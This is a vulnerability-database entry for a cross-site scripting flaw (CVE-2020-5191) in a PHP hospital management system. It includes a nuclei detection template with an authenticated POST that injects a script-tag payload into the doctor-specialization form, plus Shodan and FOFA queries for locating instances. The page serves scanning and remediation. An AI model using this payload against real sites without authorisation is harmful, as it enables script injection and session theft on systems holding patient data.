HexBrain

Browse / CVEs / CVE-2020-5191

CVE-2020-5191· phpgurukul / hospital management system· CWE-79

PHPGurukul Hospital Management System - Cross-Site Scripting

mediumseverity
6.1CVSS score
7.5%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

PHPGurukul Hospital Management System in PHP 4.0 contains multiple cross-site scripting vulnerabilities. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /hospital/hms/admin/index.php ; POST /hospital/hms/admin/doctor-specilization.php
Positive when: contains "<td class=\"hidden-xs\"></td><script>alert(document.domain);<…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-5191 -u <target>

The full check
id: CVE-2020-5191

info:
  name: PHPGurukul Hospital Management System - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    PHPGurukul Hospital Management System in PHP 4.0 contains multiple cross-site scripting vulnerabilities. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47841
    - https://phpgurukul.com/hospital-management-system-in-php/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5191
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-5191
    cwe-id: CWE-79
    epss-score: 0.0752
    epss-percentile: 0.94546
    cpe: cpe:2.3:a:phpgurukul:hospital_management_system:4.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpgurukul
    product: hospital_management_system
    shodan-query: http.html:"hospital management system"
    fofa-query: body="hospital management system"
  tags: cve2020,cve,hms,cms,xss,authenticated,edb,phpgurukul,vuln

http:
  - raw:
      - |
        POST /hospital/hms/admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&submit=&submit=
      - |
        POST /hospital/hms/admin/doctor-specilization.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        doctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<td class="hidden-xs"></td><script>alert(document.domain);</script><td>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from